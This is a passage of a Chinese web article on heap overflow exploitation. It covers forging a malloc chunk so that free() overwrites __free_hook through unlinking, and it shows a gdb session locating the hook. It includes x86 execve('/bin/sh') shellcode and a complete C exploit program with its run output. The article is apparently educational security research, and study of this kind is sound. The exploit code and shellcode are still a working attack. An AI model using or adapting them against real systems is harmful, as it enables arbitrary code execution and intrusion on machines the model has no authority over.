当前位置: 首页 >> 程序设计 >> Heap区溢出技术分析
 

Heap区溢出技术分析

作者:      来源:zz     发表时间:2006-12-21     浏览次数:      字号:    

 


因此我们决定采用这种方法。

    块1           (   块3   )         块2
+---------------------------------------+------------------------+
|prev_size|size|.......|0x11223344|size3|prev_size2|size2|fd2|bk2|
+---------------------------------------+------------------------+
          |     |<---- 8 字节 -->|
          |                 |
          |<----- 16字节 -------->|

在上面的图上,我们将块3的8字节的内部结构放在了块1的用户数据区中,而
块3的用户数据区实际上是从块2开始的。但是既然我们根本不关心块3的prev
_size以及数据段,而块2的prev_size我们也不关心,我们还可以有更简化的
版本:将块3往右移动4个字节,即让siez3与prev_size2重合!

|   块1             |.... 块3 ..|   块2           |
+---------------------------------------+------------------------+
|prev_size|size|...........| 0x11223344 |prev_size2|size2|fd2|bk2|
+---------------------------------------+------------------------+
          |       |<-- 4字节-->| (size3)
          |                 |
          |<----- 16字节 -------->|

这样next2next - next = -4 = 0xfffffffc .则块2就可以重新构造一下:

prev_size2 = 0x11223344 & ~PREV_INUSE /* 我们用原来的size3代替 */
size2     = 0xfffffffc /* 长度为-4 */
fd2     = __free_hook - 12 /* 将shellcode地址刚好覆盖到__free_hook地址处 */
bk2     = shellcode

至于块3的prev_size3,我们并不关心,因此并不需要再特别构造。这样一来,
我们的工作就大大简化了,只需要构造一个块2就可以了!
现在我们看看我们要做的事情:

i. 使用32字节数据模板,前16字节是任意非零数值,而后16字节是我们伪造的
  块2

ii. 找到__free_hook的地址。这个通过gdb可以方便的跟踪出来
    $ [warning3@redhat-6 malloc]$ gdb ./vul -e
    (gdb) b main
    Breakpoint 1 at 0x80484a6: file vul.c, line 10.
    (gdb) r
    Starting program: /home/warning3/malloc/./vul
   
    Breakpoint 1, main (argc=1, argv=0xbffffcf4) at vul.c:10
    10     buf = malloc (16); /* 分配两块16字节内存 */
    (gdb) p/x &__free_hook
    $2 = 0x401091b8

iii. 确定shellcode的地址。并且要在shellcode前面增加一段跳转代码,以便
    跳过一个malloc_chunk结构,因为(__free_hook-12)这个值会被写到
    shellcode+8处.
    +--------+---------------------+---------------+
    |jmp 0x0a|nopnop...nopnopnopnop|正常的shellcode|
    +--------+---------------------+---------------+          
          |<----   10字节 ---->|
         
5. 一个演示程序

下面我们就可以来写溢出程序了,其实是相当简单的:

/* Exploit for free() with unlinking next chunk - ex.c
*       by warning3@nsfocus.com (http://www.nsfocus.com)
*                         2001/03/06
*/

#include <stdio.h>
#include <stdlib.h>

#define __FREE_HOOK   0x401091b8 /* __free_hook()地址 */
#define VULPROG "./vul"

#define PREV_INUSE 0x1
#define IS_MMAPPED 0x2

char shellcode[] =
"\xeb\x0a\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" /*这一段是为了跳过垃圾数据*/
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

main (int argc, char **argv)
{
unsigned int codeaddr = 0;
char buf[128], fake_chunk[16];
char *env[2];
unsigned int *ptr;

/* 计算shellcode在堆栈中的地址 */
codeaddr = 0xc0000000 - 4 - (strlen (VULPROG) + 1) - (strlen (shellcode) + 1);

env[0] = shellcode;
env[1] = NULL;

/* 伪造一个块结构 */
ptr = (unsigned int *) fake_chunk;
*ptr++ = 0x11223344 & ~PREV_INUSE; /* 将PREV_INUSE位清零 */
/* 设置长度为-4,这个值应当是4的倍数 */
*ptr++ = 0xfffffffc;
*ptr++ = __FREE_HOOK - 12 ;
*ptr++ = codeaddr;

bzero(buf, 128);
memset (buf, 'A', 16); /* 填充无用数据 */
memcpy (buf + 16, fake_chunk, sizeof (fake_chunk));

execle (VULPROG, VULPROG, buf, NULL, env);

} /* End of main */

运行一下看看:

[warning3@redhat-6 malloc]$ gcc -o ex ex.c
[warning3@redhat-6 malloc]$ ./ex
0x8049768 [ buf ] (32) : AAAAAAAAAAAAAAAA?

[1] [2]

责任编辑 webmaster

 
 
 
 
 
评论更多>>
 
 
 
发表
 
姓名: QQ:
性别: MSN:
E-mail: 主页:
评分: 1 2 3 4 5
评论内容:
验证码:
  
  • 请遵守《互联网电子公告服务管理规定》及中华人民共和国其他各项有关法律法规。
  • 严禁发表危害国家安全、损害国家利益、破坏民族团结、破坏国家宗教政策、破坏社会稳定、侮辱、诽谤、教唆、淫秽等内容的评论 。
  • 用户需对自己在使用本站服务过程中的行为承担法律责任(直接或间接导致的)。
  • 本站管理员有权保留或删除评论内容。
  • 评论内容只代表网友个人观点,与本网站立场无关。
  •